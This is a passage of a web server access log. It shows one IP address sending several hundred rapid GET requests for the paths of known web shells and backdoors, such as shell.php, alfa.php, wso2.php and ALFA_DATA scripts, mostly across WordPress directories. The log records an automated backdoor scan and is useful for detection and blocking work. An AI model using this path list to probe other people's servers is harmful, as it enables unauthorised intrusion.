/wp-content/themes/newstoday/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:30 -0400] "GET /we.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:30 -0400] "GET /dav.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:30 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:31 -0400] "GET /extractable-loader-head.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:31 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:31 -0400] "GET /wp-content/plugins/zxmunes/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:32 -0400] "GET /BIBIL_0DAY.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:32 -0400] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:33 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:33 -0400] "GET /amaxx.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:33 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:34 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:34 -0400] "GET /wq.php7 HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:35 -0400] "GET /wp-admin/images/profile.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:35 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:36 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:36 -0400] "GET /eNtnKM.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:36 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:37 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:37 -0400] "GET /oauth.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:37 -0400] "GET /wp-content/plugins/fancybox-for-wordpress/fancybox/termark/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:38 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:38 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:39 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:39 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:39 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:40 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:40 -0400] "GET /wp-admin/images/system.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:40 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:41 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:41 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:41 -0400] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:42 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:42 -0400] "GET /aleXus.php/cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:43 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:43 -0400] "GET /contentloader1.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:43 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:44 -0400] "GET /about/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:44 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:44 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:45 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:45 -0400] "GET /wp-content/plugins/pxkxbea/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:45 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:46 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:46 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:46 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:47 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:47 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:48 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:48 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:48 -0400] "GET /disagraeed.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:49 -0400] "GET /migrate.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:49 -0400] "GET /project/plugins/bootstrap-rtl/css/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:49 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:50 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:50 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:51 -0400] "GET /wp-includes/mtnidwgu.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:51 -0400] "GET /.well-known/worksec.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:52 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:52 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:52 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:53 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:53 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:54 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:54 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:54 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:55 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:55 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:56 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:56 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:56 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:57 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:57 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:57 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:58 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:58 -0400] "GET /depotcv.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:59 -0400] "GET /wp-admin/includes/xleet-shell.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:59 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:59 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:00 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:00 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:00 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:01 -0400] "GET /zcoqCGrnVix.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:01 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:01 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:02 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:02 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:02 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:03 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:03 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:04 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:05 -0400] "GET /wp-includes/css/dist/components/nomox.php.suspected HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:05 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:05 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:06 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:06 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:06 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:07 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:07 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:08 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:08 -0400] "GET /wp/wp-admin/includes/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:08 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:09 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:09 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:09 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:10 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:11 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:11 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:11 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:12 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:12 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:12 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:13 -0400] "GET /iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:13 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:13 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:14 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:14 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:15 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:15 -0400] "GET /wp/wp-content/themes/f6pe9wcj/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:15 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:16 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:16 -0400] "GET /ulc2.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:16 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:17 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:17 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:17 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:18 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:18 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:18 -0400] "GET /wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:19 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:19 -0400] "GET /images/wp-ok.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:20 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:20 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:20 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:21 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:22 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:22 -0400] "GET /file_browser.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:22 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:23 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:23 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:23 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:24 -0400] "GET /.well-known/awraulub.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:24 -0400] "GET /embed.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:24 -0400] "GET /bitrix/js/seo/ads/client_selector/lang/ru/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:25 -0400] "GET /xxl.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:25 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:26 -0400] "GET /wp-content//autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:26 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:26 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:27 -0400] "GET /disagraeosc.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:27 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:28 -0400] "GET /css/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:28 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:28 -0400] "GET /wp-admin/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:29 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:29 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:29 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:30 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:30 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:31 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:31 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:31 -0400] "GET /.well-known/bqdoemhl.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:32 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:32 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:33 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:33 -0400] "GET /MYK4TJEfFvO.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:33 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:34 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:34 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:34 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:35 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:35 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:35 -0400] "GET /.well-known/ktlldmmx.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:36 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:36 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:36 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:37 -0400] "GET /wp-admin/29rc7ExgS6p.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:37 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:37 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:38 -0400] "GET /wp-content/themes/config HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:38 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:39 -0400] "GET /ab1ux1ft.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:39 -0400] "GET /aksinet.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:39 -0400] "GET /about.php?dir=/home/tvfuazjx/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:40 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:40 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:40 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:41 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:41 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:41 -0400] "GET /query.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:42 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:42 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:43 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:43 -0400] "GET /temp.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:43 -0400] "GET /catuploadcsv.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:44 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:44 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:44 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:45 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:45 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:46 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:46 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:47 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:47 -0400] "GET /120f9.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:48 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:48 -0400] "GET /wp-content/uploads/2023/08/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:48 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:49 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:49 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:49 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:50 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:50 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:51 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:51 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:52 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:52 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:52 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:53 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:53 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:54 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:54 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:54 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:55 -0400] "GET /source.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:55 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:55 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:56 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:24:56 -0400] "GET /.well-known/xin1.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - 